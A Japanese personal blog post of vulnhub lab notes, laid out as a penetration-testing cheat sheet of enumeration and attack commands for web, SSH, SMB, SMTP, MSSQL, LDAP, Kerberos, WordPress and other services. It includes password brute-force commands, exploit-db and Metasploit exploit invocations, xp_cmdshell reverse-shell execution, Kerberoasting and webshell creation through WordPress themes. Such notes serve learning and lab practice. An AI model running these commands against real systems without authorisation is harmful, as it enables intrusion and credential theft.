高林の雑記ブログ

こんにちは。

vulnhub調査メモ

自分用に雑に解く際の手法とかをまとめました。

文字数の都合上、WindowsのPrivilegeEscalationと調査の方針は以下に載せなおしました。
kakyouim.hatenablog.com
2020 3/4追記
Privilege Escalationをまとめた記事を新しく作成したので、ここに書いていたLinux PEは以下を参照してください。
kakyouim.hatenablog.com

ネットワークの調査

IPアドレスの調査

  • echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
  • sudo arp-scan -I eth0 -l
  • sudo nmap -sP 192.168.56.0/24
  • netdiscover -r 192.168.56.0/24

    脆弱性スキャン

  • nikto -h 192.168.56.10
    デフォルトで80番ポートをスキャンする。その他のポートをスキャンする場合は指定する必要あり。
    遅い
  • nmap -p- -sV -sT -A 192.168.56.13
    遅い.
    -p-オプションでのすべてのポートのスキャンでは時間が非常にかかる場合がある.
    その場合は、1~5000,5001~10000として分けてスキャンするか、-sV(各ポートのバージョン情報を提供)を削除して、Defaultの-sTフラグで行い重要なポートにだけ-sVフラグをつける。
    openでもclosedでもなくfilterdという結果になった場合、パケットがフィルタリングされていることが原因でそこにサービスが稼働しているかどうかNmapが判断で来ていない。
    例えば以下のような場合、SSHサービスは稼働しているが特定のホスト(IPアドレス)からの通信のみを許可するようにIptablesに設定されていることが考えられる。
    つまり、特定のIPアドレスを持ったホストにしか22番はOpenしない。
PORT   STATE    SERVICE
22/tcp filtered ssh

nmap.org

脆弱性の調査

  • searchsploit apache | grep \ 2.2.
    とかで今のバージョンに対するExploitがないか調査する。このコマンドは使いまくる。

Webサービスの調査

手動で調査

ディレクトブルートフォース

  • dirb http://192.168.56.10
    ありそうな名前のディレクトリをブルートフォースで見つける。
    デフォルトで80番ポートをスキャンする。その他のポートをスキャンする場合は指定する必要あり。cssやclasses、uploadsなどのディレクトリが見つかればWebshellアップロードができる可能性あり?(よくわからない)
    modulespluginsなどのディレクトリにアクセスできればその中に脆弱なものがあるか確認。また、そこからCMSが判明することもある。

  • wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --filter "c=200" http://192.168.56.32/FUZZ
    FUZZという単語はないとダメ
    最後にFUZZ/のように/を入れるとディレクトリを探索、FUZZのように/を入れないとファイルを探索する

  • python3 parsero.py -u 192.168.56.5
    robots.txtが見つかれば、そこにdisallowされている場所に重要な情報が書かれているかもしれないのでチェック

github.com

  • HTTP Response Code
    • 200(OK)
      リクエストが成功したことを示す
    • 204(No Content)
      リクエストに対して送信するコンテンツはないが、ヘッダーは有用であることを示す。
    • 301(Moved Permanently)
      リクエストされたリソースの URL が永遠に変更されたことを示す。
      レスポンスで新しい URL が与えられる。
      存在するディレクトリに対してアクセスするとこれが帰ってくるが、アクセスできるかは別。
    • 302(Found)
      リクエストされたリソースの URI が一時的に変更されたことを示す。
      URI は将来、新たに変更される可能性がある。
      つまり、ディレクトリは存在している。
    • 403(Forbidden)
      認証されていないなどの理由でクライアントにコンテンツのアクセス権がなく、サーバーが適切なレスポンスの返信を拒否していることを示す
    • 500(Internal Server Erro)
      サーバー側で処理方法がわからない事態が発生したことを示す。

      その他

  • curl -v "http://192.168.56.10
    ヘッダーにヒントがないか、ソースコードに何かヒントがないか調べる。

curl -v -X OPTIONS http://192.168.56.10
で許可されているメソッドがリクエストヘッダに帰ってくる。PUTなどが許可されていないかどうか確認

  • curl -v "http://192.168.56.10 -b PHPSESSID=isn9ita3kajbt8o8hbruj9hau0
    -bオプションでCookieの値を送信
  • curl -D- -s -o /dev/null http://192.168.56.30/
    ヘッダーだけ表示

  • curl 192.168.56.5 -s -L | html2text
    レンダリングして表示

  • sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user"
    でこのページにSQLインジェクションできるかどうか調査する。--level 5を付けるとより詳細に調査する。こうしないと発見できないこともある。
    GETの時は上記のように書き、POSTの時は、
    sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php" --data "q=1&add_value=odm_user"
    のように書く。

tomcatの調査

  • http://target/manager/html
    tomcat managerというWebアプリケーションをGUIで管理するものがある。
    認証に用いるクレデンシャルはtomcat-users.xmlを参照する。
    古いバージョンのTomcatだと、ここにログインするアカウントがデフォルトで存在してるため脆弱。
    参考:デフォルトのクレデンシャル
    github.com
  • python3 bruteforce-http-auth.py -U tomcat_mgr_default_users.txt -P tomcat_mgr_default_pass.txt -t http://10.11.1.1:8080/manager/html -v
    /manager/htmlブルートフォース
    手動で行うとCookieによる回数制限があるので、ツールで行う方が都合がよい。(??)
  • msf > use auxiliary/scanner/http/tomcat_mgr_login
  • CVE-2007-0450,CVE-2007-1860
    Apachetomcatを使用している場合、バージョンによっては上記のようなディレクトリトラバーサルが可能。
    対象となるのは、Apache HTTP Server and Tomcat 5.x before 5.5.22 and 6.x before 6.0.10
    また、ApacheTomcatの通信にApache mod_jkモジュールを使用している場合も同様.
    対象となるのは、mod_jk in Apache Tomcat JK Web Server Connector 1.2.x before 1.2.23

axis2の調査

  • sudo python clusterd.py -a axis2 -i 192.168.56.31 -p 80 --deploy shell.jar --deployer service_upload --usr-auth admin:axis2 –invoke
    clusterdというツールでシェルアップロードなどの攻撃ができる。
    他にも、Jboss, ColdFusion, WebLogic, Tomcat, Railo, Axis2, Glassfishフレームワークを攻撃できるらしい
    ただし、--gen-payloadオプションは内部でmsfpayloadを使用しているがこれはもう使えないので最新版のKaliでは動作しない。msfvenom版は開発中とのこと。
    src/module/generate_payload.pyを参考にして自分でmsfvenomを使用するのがよさそう
    参考:
    github.com

  • http://192.168.56.31/axis2/axis2-admin/
    にはデフォルトでUser:admin, password:axis2でログインアカウントが用意されており、ログインしてWebshellを設置できるかも。

    スキャナを用いた調査

  • python sparta.py
    SPARTA
    GUIのネットワーク周りのスキャナ。rootで実行するとエラーがでるのでuserで実行
    f:id:kakyouim:20200116185756p:plain
  • openvasmd,openvas-startで起動
    OpenVAS
    無償のスキャナ.[New target]と[New task]で標的のIPを設定。
    f:id:kakyouim:20200116190240p:plain
    参考:
    脆弱性診断 - OpenVAS(使い方編) -ラズパイでワナビな日々を
  • OWASP ZAP
    OWASP ZAP
    [Alerts]に発見された脆弱性がのっている。
    f:id:kakyouim:20200116190220p:plain
  • sudo python3 cmsmap.py http://192.168.56.30
    CMSmap
    使われているCMSを特定。
    f:id:kakyouim:20200116190359p:plain

その他のサービスの調査

sshの調査

  • hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.16 ssh
    -Lでユーザー名のファイルを指定、-e nsrでnは"null"で空欄を設定、sは"same"でユーザ名と同じパスワードを設定、rは"reverse"でユーザ名を逆転したパスワードを設定。
    他の調査でユーザー名が判明している場合は、
    hydra -l john -P /usr/share/wordlists/rockyou.txt -t 4 192.168.56.16 ssh
  • ncrack -p 22 --user root -P /usr/share/wordlists/rockyou.txt 10.11.1.1
  • patator ssh_login host=10.11.1.1 user=root password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'

https://www.ihacklabs.com/en/brute-force-with-patator/www.ihacklabs.com

  • python2 /usr/share/exploitdb/exploits/linux/remote/45939.py 192.168.56.22 root
    OpenSSHのバージョンが7.7以下なら上記のコマンドでSSH接続できるユーザーを確認できる。(自分の環境ではsudo pip install -U cryptographyをする必要があった)
  • medusa -h 192.168.56.25 -u root -P /usr/share/john/password.lst -t 4 -M ftp
    www.hackingarticles.in

  • python crowbar.py -b sshkey -s 192.168.56.5/32 -u root -k /opt/ssh-badkeys/authorized/private
    github.com
    秘密鍵ブルートフォース
    以下のデフォルトの秘密鍵でも試してみる
    github.com

RDPの調査

  • crowbar -b rdp -s 10.11.1.1/32 -u administrator -C password.txt -n 4 -v
    vオプションですべての試行を表示。
    個人的にこれが一番安定して速く動作しているように思う。
    hydraはうまく動作していない気がする。
  • ncrack -vv --user administrator -P password-file.txt rdp://192.168.56.5
    BruteForce Login。crowbarよりはかなり遅いが一応できている。
    Exploitは以下の通り、IEを使ったClient Side Attackしかないので、BruteForce以外は悪用はない(???)
    f:id:kakyouim:20200310183221p:plain

    変なポートの調査

  • nc 192.168.56.10 666
  • telnet 192.168.56.10 666
    などでアクセスしてみる。

snmp(udp161)の調査

SNMP(Simple Network Management Protocol)とは、UDP/IPベースのネットワーク監視、ネットワーク管理を行うためのプロトコルである。

  • snmp-check 192.168.56.8
  • snmpwalk -v2c -c private 192.168.56.8
  • snmpwalk -v2c -c public 192.168.56.8
  • use auxiliary/scanner/snmp/snmp_login

参考文献
net123.tistory.com

telnet(23)の調査

  • telnet 10.11.1.1 23
    どんなサービスが動いているのか確認。
  • patator telnet_login host=192.168.1.106 inputs='FILE0\nFILE1' 0=/root/Desktop/user.txt 1=/root/Desktop/pass.txt persistent=0 prompt_re='Username: | Password:'
    Authenticationの時の挙動(Login:なのかUsername:なのか)によって変わりそう?なのでそれを確認してから実行したほうがよさそう。
    ちゃんとできてるかどうかWiresharkで確認した方がよいかも?

www.hackingarticles.in

domain(53)の調査

  • nslookup target-ip nameserver-ip
    nameserver-ipをName Server(53 domainが稼働しているサーバー)として、target-ipのドメインIPアドレスから逆引きする。
  • dig axfr target.com @10.10.10.1
    ZoneTransferを試す。
  • dnsrecon -d target.com -t axfr -n 10.10.10.1
    これでもできる。

    smtp(25)の調査

  • telnet 192.168.56.5 25
    telnet-Cオプションを付けてncでバナーを取得
    VRFY,EXPN,HELO 10.10.10.10,EHLO 10.10.10.10,AUTH LOGIN
HELO - 
EHLO - Extended SMTP.
STARTTLS - SMTP communicted over unencrypted protocol. By starting TLS-session we encrypt the traffic.
RCPT - Address of the recipient.
DATA - Starts the transfer of the message contents.
RSET - Used to abort the current email transaction.
MAIL - Specifies the email address of the sender.
QUIT - Closes the connection.
HELP - Asks for the help screen.
AUTH - Used to authenticate the client to the server.
VRFY - Asks the server to verify is the email user's mailbox exists.
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
VRFY root
252 2.0.0 root
VRFY roooooot
550 5.1.1 <roooooot>: Recipient address rejected: User unknown in local recipient table

VRFYコマンドでユーザーが存在するか、そのユーザーにメールアドレスが存在するか確認できる。
メール送信ポートだが、メールを取得することはできないので注意。
AUTH LOGINbase64エンコードされた状態でならログイン試行できる。

AUTH LOGIN
334 VXNlcm5hbWU6   # Username
cm9vdAo=                   # root
334 UGFzc3dvcmQ6    # Password
cm9vdAo=                   # root
535 Authentication Failed
  • smtp-user-enum -M VRFY -U users.txt -t 192.168.56.5
    VRFYなどのコマンドが使える場合、ユーザーをEnumできる
  • ./smtp-user-enum -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt 10.11.1.1 25 -V -m RCPT
    userは存在するが、そのUserにメールアドレスが存在しない場合、VRFYではErrorとなるので上記のデフォルトのsmtp-user-enumでは検知できない。
    そのため違うバージョンをInstallして実行する。
    RCPT TO:root送信先のUserを指定してOKかどうか確認する。
    以下のやつが使いやすい気がする。

github.com

  • nmap -p 25 192.168.56.5 --script=smtp-enum-users.nse
  • use auxiliary/scanner/smtp/smtp_enum
    www.puni.net

pop3(110,995)の調査

  • telnet 192.168.56.5 110
    telnet-Cオプションを付けてncでバナーを取得
    USER root
    PASS root
    でログイン
    LIST,RETR

  • nmap -p 110 192.168.56.5 --script=pop3-*

  • hydra -e nsr -L /usr/share/seclists/Usernames/Names/familynames-usa-top1000-lower.txt -t 4 10.11.1.1 pop3s
  • openssl s_client -connect 10.11.1.1:995
    995ポートではこれで、あとは同じ。
    www.hackingarticles.in

IMAP(143/993)の調査

  • telnet 10.11.1.1 143
    サーバーに保存されている電子メールにアクセスできる。
    ? NO login failedと出るとログイン失敗。
? login {user} {pass}
?? LIST "" "*"
??? select inbox
???? search all
??? fetch 1 full
? logout
  • openssl s_client -connect 10.11.1.1:993 -crlf
    SSL接続。

  • hydra -L user -P /usr/share/wordlists/rockyou.txt 10.11.1.1 -s 143 imap

smux(199)の調査

smux はUNIXにおけるSNMP用のマルチプレクサ(多重化した複数の情報を単一チャネルによって転送するサービス)である。
特にExploitも見つからないし、無視?

NTP(udp123)の調査

  • ntpdc -c sysinfo 10.11.1.1
    NTP(Network Time Protocol)は、コンピュータに内蔵されているシステムクロックをネットワークを  介して正しく同期させるためのプロトコル
    NTPにより時刻同期を行うことで指定時間に正しくサービスを動作させたり、出力ログを正しく管理できたり、証明書を利用した認証なども正しく行うことができる。
    searchsploitで検索した感じ、以下のRemoteBOFの一種類しかRemoreExploitはなさそう(??)
    FreeBSD 4.2-STABLE,RedHat Linux 7.0で実行できる可能性がある。
    f:id:kakyouim:20200319192928p:plain

nntp(119)の調査

  • telnet 192.168.56.5 119
    NNTPとは、インターネットなどのTCP/IPネットワーク上で記事の投稿や配信、閲覧などを行うためのプロトコル(通信規約)の一つ。標準のポート番号はTCPの119番。
    HELP,LIST

  • nmap -p 119 --script=nntp-ntlm-info 192.168.56.5
    以下の結果とググった感じだと、linuxのExploitはなさそう?
    f:id:kakyouim:20200304215414p:plain

msdtcの調査

分散トランザクションコーディネーターは、データベース(SQL Server)とWebサーバー間のトランザクションを調整するWindowsサービス。
悪用できるExploitはなさそう。
f:id:kakyouim:20200311180016p:plain
ただし、存在しないDLLを読み込もうとするため、DLLHijackが可能なのでPEで使えるかも。

rpcbind(111) の調査

  • rpcinfo -s 192.168.56.5
    RPC(Remote Procedure Call)系のサーバ・クライアント(NFSNISなど)と通信を行うためのもの
    クライアントとプログラムの通信を実現する
    rpcinfoコマンドは、RPCサーバーに対してRPC呼び出しを行い、サーバーの状態を報告する
    悪用できる可能性は低い
    Exploitは以下の通り、dosしかない。
    f:id:kakyouim:20200304215116p:plain

NFS (Network File System)の調査

  • nmap -p 2049 --script=nfs-* 192.168.56.5
  • scanner/nfs/nfsmount
  • showmount -a 192.168.56.5
    マシンから他のマシンへと、ネットワークを通じて ディレクトリとファイルを共有することを可能にするらしい
    「nlockmgr」と「mountd」は、それぞれNFSのロックマネージャーとリッスンサーバーである
    -aオプションを付けると、クライアントのホスト名と共有しているディレクトリ名が表示される。
    -eオプションを付けると、ディレクトリを共有可能な相手が表示される。
    ここで、マウントできるディレクトリがあれば、Kaliにマウントして、.sshディレクトリを作成してauthorized_keys(公開鍵)を配置することでSSH接続できるようになる。
    computersecuritystudent.com

NIS(Network Infomation Server)

  • use auxiliary/gather/nis_ypserv_map

TCP/IP上で コンピュータの情報を共有するサービス
よくわからない
www.rapid7.com

netbios-ns(udp137)の調査

  • nbtscan 10.11.1.0
    Microsoftネットワークに接続しているパソコン同士は,137番(NETBIOS Name Service)や138番(NETBIOS Datagram Service)ポートを使ってIPアドレスを取得する。
    その後,ファイル共有やプリンタ共有などの実際の通信をする。
    なのでudp137,138なければ139ポートではなく445ポートを使ってファイル共有している(??)
    NBTscanは、リモートコンピュータのNetBIOS名テーブルをネットワーク経由で調査するツール。
    ターゲットホストに対してNetBIOS名を問い合わせることにより、そのホストのコンピュータ名、ドメイン名(あるいはワークグループ名)、稼動しているNetBIOS関連サービス、ローカルログオンユーザ名などを知ることができる。
    直接悪用できる可能性は低い。

SMB(139,445)の調査

  • nmap -p 139 --script=smb-* 10.11.1.1
139/TCP   NETBIOS Session Service(netbios-ssn)
445/TCP Direct Hosting of SMB(microsoft-ds)

ポート137~139は「NBT(NetBIOS over TCP/IP)」のポート、ポート445はWindows 2000から導入された「Direct Hosting of TCP/IP」のポート。
WIndows2000以前がある混在環境では,139番ポートを使ってSMBで通信する必要があるため、139ポートも445も両方空いている。
139と445で応答したほうを使用している。(?)

SMBのバージョン 搭載するWindows
SMB 2.0 Windows Vista および Windows Server 2008
SMB 2.1 Windows 7 および Windows Server 2008 R2
SMB 3.0 Windows 8 および Windows Server 2012
SMB 3.02    Windows 8.1 および Windows Server 2012 R2
  • enum4linux 192.168.56.20
    有益な情報を一覧で表示。ユーザー名、共有フォルダへのアクセス可否がわかる。
    enum4linuxは139と445両方に問い合わせて応答したほうと通信するっぽい。
    enum4linuxでSambaのバージョンが表示されない場合は、Metasploitかsmbver.shを使用する。
    Windows NT、2000、およびXP(ほとんどのSMB1),samba(unix)ならデフォルトでNULLセッションが有効で大量の情報が見込める。
  • smbclient //192.168.56.17/kath
    もし共有フォルダがkathという名前なら、上記のコマンドでアクセス可能。
  • smbmap -H 192.168.56.20 -P 445
    で共有フォルダを一覧表示できる。
  • use auxiliary/scanner/smb/smb_version
    metasploitのこの機能でも判明することがある。
  • bash smbver.sh 10.11.1.115 139
    enum4linuxでSambaのバージョンが特定できないときに使う。
    github.com
  • python3 smbrute.py -h 10.11.1.1 -u root -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
    Brute force.
  • C$,Admin$,IPC$
    WindowsはデフォルトでSMBを介して、C$,Admin$,IPC$の管理共有と隠し共有を公開している。

    C $共有で、リモートマシンのCドライブにアクセスできる。
    Admin $を使用すると、Windowsインストールディレクトリにアクセスできる。
    ただし、これらの共有をマウントできるようにするには、リモートシステムの管理者である必要がある。
    IPC $は、より一般的にIPCと呼ばれるプロセス間通信を容易にするために使用されるWindows内の特別な共有。
    つまり、他の共有のようなファイルまたはディレクトリへのアクセスを許可せず、リモートシステムで実行されているプロセスとの通信を許可する。
    具体的には、IPC $は名前付きパイプを公開する。
    名前付きパイプは、リモートプロセスと通信するために読み書きできる。
    このような名前付きパイプは、アプリケーションがパイプを開いてWindows Serverサービス(SMB)に登録するときに作成され、IPC $共有によって公開されるようになる。
    そのような名前付きパイプに書き込まれたデータはリモートプロセスに送信され、逆に、リモートプロセスによって書き込まれた出力データは、ローカルアプリケーションによってパイプから読み取ることができる。

    www.hackingarticles.in
    により詳細な情報がのっている。
  • python smbexec.py Administrator:password@10.11.1.1
    Administratorなどの資格情報がわかっているなら、Impacketのツールを使ってログインできる。

    MSRPC(135)の調査

  • nmap 192.168.0.101 --script=msrpc-enum
  • msf > use exploit/windows/dcerpc/ms03_026_dcom
    English versions of Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003
    なら脆弱である可能性がある。

IRCの調査

  • hexchat
    を起動して、IPアドレスを設定してつなげることでIRCのバージョンが判明する。

CUPS(631)の調査

CUPSは,Mac OSLinuxを含むUNIX系OSの印刷システムで中核を成すサービスで、印刷データを管理する。
Exploitは以下の通りこれくらいある。
CUPS < 2.0.3でRCEが存在しているが、どうやらPrinterに接続されていないとダメっぽい?
f:id:kakyouim:20200306155506p:plain

root@kali:# python /usr/share/exploitdb/exploits/linux/remote/41233.py  -a 10.11.1.1 -b 631 -f

             lol ty google
             0000000000000
          0000000000000000000   00
       00000000000000000000000000000
      0000000000000000000000000000000
    000000000             0000000000
   00000000               0000000000
  0000000                000000000000
 0000000               000000000000000
 000000              000000000  000000
0000000            000000000     000000
000000            000000000      000000
000000          000000000        000000
000000         00000000          000000
000000       000000000           000000
0000000    000000000            0000000
 000000   000000000             000000
 0000000000000000              0000000
  0000000000000               0000000
   00000000000              00000000
   00000000000            000000000
  0000000000000000000000000000000
   00000000000000000000000000000
     000  0000000000000000000
             0000000000000
              @0x00string
https://github.com/0x00string/oldays/blob/master/CVE-2015-1158.py

[*] locate available printer
[-] no printers

FTPの調査

  • use auxiliary/scanner/ftp/anonymous
    metasploitのFTPスキャナーのエクスプロイト。ユーザー名Anonymousで何ができるのかを調査する。
  • ftp 192.168.56.10
  • lftp -u anonymous,anonymous 192.168.56.10
    などのコマンドでアクセスできる。pwd,ls
    catは使えないのでget ファイル名でローカルにダウンロードする。
  • filezilla
    GUIが使いたければこれ。

VNC(5900)の調査

  • vncviewer
  • medusa -h 192.168.0.6 –u root -P /root/Desktop/pass.txt –M vnc
  • ncrack -V --user root -P /root/Desktop/pass.txt 192.168.0.6:5900
  • hydra -s 5900 –P /root/Desktop/pass.txt –t 16 192.168.0.6 vnc
  • use auxiliary/scanner/vnc/vnc_login
5900/tcp  open  vnc           syn-ack ttl 128 VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|     VNC Authentication (2)
|     Tight (16)
|   Tight auth subtypes: 
|_    STDV VNCAUTH_ (2)

のような場合、RFB 3.8プロトコルを使用し、Security typesにVNC Authentication(2)が使われているため、パスワードのみの認証である(?)
srgia.com

www.hackingarticles.in

RTSP(554)の調査

RTSPとは、TCP/IPネットワーク上で音声や動画などのストリーミング伝送を行うための制御データの送受信をするプロトコル(通信手順)の一つ。
searchsploit windows rtsp | grep -vi apple | grep -vi dos
f:id:kakyouim:20200303172241p:plain
せいぜい上記しかExploitがないので、nmapでこれにドンピシャでない限りはExploitは考えなくてよい(?)

identd(113)の調査

[IDENT/AUTH (ident tap; Authentication service)] サーバに対してアクセスした際に、サーバがクライアントに対しユーザ名を要求するために使用するプロトコル

root@kali:# nc 10.11.1.1 113
22,12
22 , 12 : ERROR : NO-USER
139,43218
139 , 43218 : ERROR : NO-USER
22,43218
22 , 43218 : ERROR : NO-USER
22,0
22 , 0 : ERROR : INVALID-PORT
123,123
123 , 123 : ERROR : NO-USER

0 , 0 : ERROR : UNKNOWN-ERROR
  • python identi.py 10.11.1.1 -q 22 139 445 113

github.com

book.hacktricks.xyz

oracle(1521)の調査

  • tnscmd10g status -h 10.11.1.1
    最初は、通常デフォルトポート(1521 / TCP)に常駐するTNS-Listenerと通信して、対話できるOracle 10gデータベースを発見する。
  • oscanner -s 10.11.1.1 -P 1521
    SID(サービス識別子)は基本的にデータベース名であり、インストールに応じて、1つ以上のデフォルトSID、または完全にカスタムのdba定義SIDを持つ場合がある。
    SIDはデータベースのインスタンス(実際にメモリ上で動作するもの)である。
    有効なSIDが見つかったら、次はアカウント列挙をする。
    Lockされていないアカウントがあれば、そのアカウントでログインを試みる。
  • sqlplus DBSNMP/DBSNMP@10.11.1.202:1521/sid;
    sqlplusというOracleDBと対話するためのクライアントを用意する必要がある。
ERROR:
ORA-03134: Connections to this server version are no longer supported.

となったらSQLPLUSのバージョンをさげる必要がある。
以下、参考文献。
medium.com

Mysqlの調査

  • nmap -p 3306 --script=mysql-* 10.11.1.11
  • mysql -h 192.168.56.10 -u root -P 3306
    でログインできるかどうか試す。ログインできれば、
    • show databases;
    • use データベース名;
    • show tables;
    • show columns from テーブル名;
    • select * from テーブル名; などを実行できる。
      ちなみに
  • mysql -h localhost -u root -P 3306 -e "show databases;"をすると-eだけを実行できる。
    また、\! lsみたいに書くとlsコマンドなどのLinuxコマンドが実行できる。
  • ncrack –v –U /root/Desktop/user.txt–P /root/Desktop/pass.txt 192.168.1.106:3306
  • hydra –L /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.106 mysql
  • use auxiliary/scanner/mysql/mysql_login
  • medusa -h 192.168.1.106 –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mysql

www.hackingarticles.in

MSSQL(tcp1433/udp1434)の調査

  • sqsh -S 192.168.1.101 -U sa
    MSSQLはデフォルトでは、管理者ユーザーとして「sa」を使用しているため、このブルートフォースを行う。
  • python mssqlclient.py -p 1433 sa:password@10.11.1.1
    impakectスクリプトを使用できる。
    xp_cmdshell reverse-4445.exeなどでファイルを実行できる。
  • nmap -Pn -n -sS --script=ms-sql-xp-cmdshell.nse 10.11.1.1 -p 1433 --script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user",mssql.instance-all
    Loginができて、xp_cmdshellをサポートしていればNmapで任意のコマンドを実行できる。
  • hydra -l sa -P /usr/share/wordlists/rockyou.txt 10.11.1.1 mssql
    データベースにログインできると、さらに侵害できる可能性あり。
    use auxiliary/scanner/mssql/mssql_login
    でも可能。
  • use auxiliary/admin/mssql/mssql_enum
    • xp_cmdshellは有効かどうか
    • saアカウントにパスワードが含まれているかどうか
    • システムおよびWindowsがログインしているかどうか
    • データベースサーバーが実行されている特権
    • 存在するデータベース
      などか得られる。
      xp_cmdshellが有効になっていれば、SQL Serverを介してリモートシステムでコマンドを実行できる。
      use auxiliary/admin/mssql/mssql_exec
      で実行したいコマンドを実行する。
      詳細は以下の参考文献
      www.hackingarticles.in

pentestlab.blog

java rmi(1617)の調査

Java RMIとは、Java言語に標準で用意された機能の一つで、あるJavaオブジェクトから、異なるコンピュータ上で動作する別のJavaオブジェクトのメソッドを呼び出して実行することができるようにする仕組みらしい。
また、その機能を利用するために規定されたプログラム呼び出し規約らしい

Java Management Extensions (JMX) は、Java アプリケーションをモニタおよび管理するための仕様。
JMX を使用すると、汎用管理システムでアプリケーションをモニタし、注意が必要なときに通知を生成し、アプリケーションの状態を変更して問題を解決できるらしい。
Java RMI Server Insecure Default Configuration Java Code Execution(exploit/multi/misc/java_rmi_server)
のRCE Exploitが存在。
これのMetasploit以外のExploit codeは探したがない???
他にも以下のようなExploitがある。
f:id:kakyouim:20200329222606p:plain
github.com

Windows Remote Management (WinRM)(5985)の調査

5985ポートのMicrosoft HTTPAPI httpd 2.0 (SSDP/UPnP)Windows Remote Management (WinRM)らしい Windows を遠隔で操作する仕組み。
コマンドで操作するらしい。
ポート5985が開いているがポート5986が閉じている場合、これはWinRMサービスがHTTP経由の接続のみを受け入れるように構成され、暗号化が有効になっていないらしい
use auxiliary/scanner/winrm/winrm_auth_methods
で認証形式を特定。
悪用するには管理者の資格情報が必要。あれば任意コマンドを遠隔から実行できる。
資格情報がなけれは悪用できるようなExploitはない??
f:id:kakyouim:20200329223553p:plain
pentestlab.blog

Active Directoryの調査

  • ユーザ認証
    Kerberos version 5
    ドメイン内のユーザーのパスワードがわかっている場合はそれを使ってログインできるかも?
  • ディレクトリサービス
    LDAP version 3
    木構造のデータベースを使ってアカウント情報などを管理し、通信にLDAPというプロトコルを用いている。
  • ファイル共有
    SMB version 1.0 / 2.x / 3.0

    以下参考文献。
    medium.com
kerberos(88)の調査
  • nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm=’<domain>’,userdb=/root/Desktop/usernames.txt <IP>
  • use auxiliary/gather/kerberos_enumusers (Domain: test.local)
  • python kerbrute.py -domain test.local -users user -passwords pass -dc-ip 10.11.1.1 -outputfile out.txt -debug -threads 4
    Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)というエラーが発生すると、クライアントとADとで時間がずれている(?)ので、クライアント側をADと同じか5分以内に修正する必要がある。
    rdate -n 10.10.10.100 -v
    でKernelサーバーと時刻を同期する。
  • python FindSMB2UPTime.py 192.168.1.101
    MS14-068(Microsoft Windows Kerberos - Privilege Escalation (MS14-068))を確認する。
    これはADにログインできるドメインユーザーの権限をSYSTEMに昇格させるPrivilegeEscalation。
    ドメインユーザーのUser名、Password、SIDが必要。
    github.com
ldap(389,636,3268,3269)の調査
  • nmap -p 389 --script ldap-rootdse (TARGET IP ADDRESS) -vv
    匿名/資格情報付きのLDAPデータダンプを実行する。
    ldapsearch -LLL -x -H ldap://10.11.1.1 -b '' -s base '(objectclass=*)'
    でも同様のことができる。
  • nmap -p 389 --script ldap-brute --script-args \ ldap.base='"cn=schema,dc=targetbox,dc=target"' (TARGET IP ADDRESS) -vv
  • /usr/share/doc/python-impacket/examples/GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100
    でハッシュでTGSチケッ​​トを要求して、hashcatでクラックする。
    https://github.com/weaknetlabs/Penetration-Testing-Grimoire/blob/master/Enumeration/ldap.mdgithub.com

github.com

kpasswd5(464)

Active Directoryに対するパスワードの変更/設定に使用される。

CMSの調査

ソースコードを見てバージョンが書いてないかなどを確認

githubなどでCMSソースコードを見て、何らかのクレデンシャルが書かれている可能性のあるファイルなどを確認する

Wordpressの調査
  • wpscan --url http://192.168.56.17/blog/ --enumerate u
    でユーザー名を列挙できる。
  • wpscan --url http://192.168.56.17/blog/ --enumerate u -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
    でパスワードのブルートフォースができる。
  • wpscan --url http://192.168.56.17/blog/ -e u -e at -e ap
    でPluginとThemeを特定できる。
    または、/wp-content/plugins/などのディレクトリ内を調査する。
  • wpscan --url https://192.168.56.17:12380/blog/ --disable-tls-checks --enumerate u
    https通信の場合は--disable-tls-checksオプションを付ける。
  • nmap -sV --script http-wordpress-enum 192.168.56.24 -p 80
    PluginとThemeを列挙する
  • use exploit/unix/webapp/wp_admin_shell_upload
    Wordpressにログインできるようになっていれば、Metasploitでシェルを確立できる
  • ruby wp_xmlrpc_brute_force.rb http://10.11.1.1/xmlrpc.php -u admin -P /usr/share/wordlists/rockyou.txt -v
    login.phpブルートフォースを行うと、IPアドレスがロックされたりしてうまく行かないことがあるため、代わりにXMLRPC-APIを使ってブルートフォースを行う。
    wpscanにはこの機能はまだないらしい。
    以下に動作するRubyスクリプトがある。
    WordPress XML-RPC Password Brute Force · GitHub

ブルートフォースでログインできた場合は、ThemesやPluginの404.phpなどを編集して任意のPHPコードに書き換えてWebshellを作成できる。以下参照。
www.hackingarticles.in

その他の調査ツール

Wireshark

  • Port Knocking
    よくわからなければとりあえずキャプチャ
    決められたポートを決められた順番で叩くことでファイアーウォールに穴を空けられるような仕組み。Wiresharkでキャプチャ
  • http.request.method == "POST" or http.request.method == "GET"
    これでGET,POSTだけをフィルタリング
  • 通信をみてデバッグ
    • Bad TCP(黒)
      パケットが途中でロスしたなどでパケットの順番が入違ったなどのerror。
      Networkの問題っぽい。
      milestone-of-se.nesuke.com
    • TCP RST(赤)
      RSTフラグ(異常終了を示す)を一方的に送り付ける。
      Applicationの問題っぽい。
    • TCP SYN/FIN(灰)
      http以外のSYN/FIN(TCP 3way handshakeの開始と終了)のパケット。
      nmapなどのポートスキャンの時に見られる。

f:id:kakyouim:20200407182553p:plain

攻撃サーバの立ち上げ

  • service apache2 start
  • systemctl start apache2
    apacheサーバ
  • python -m SimpleHTTPServer 8000
  • ruby -run -ehttpd . -p3000

Wordlistの作成

  • crunch 7 7 -t admin@@ -o passlist.txt
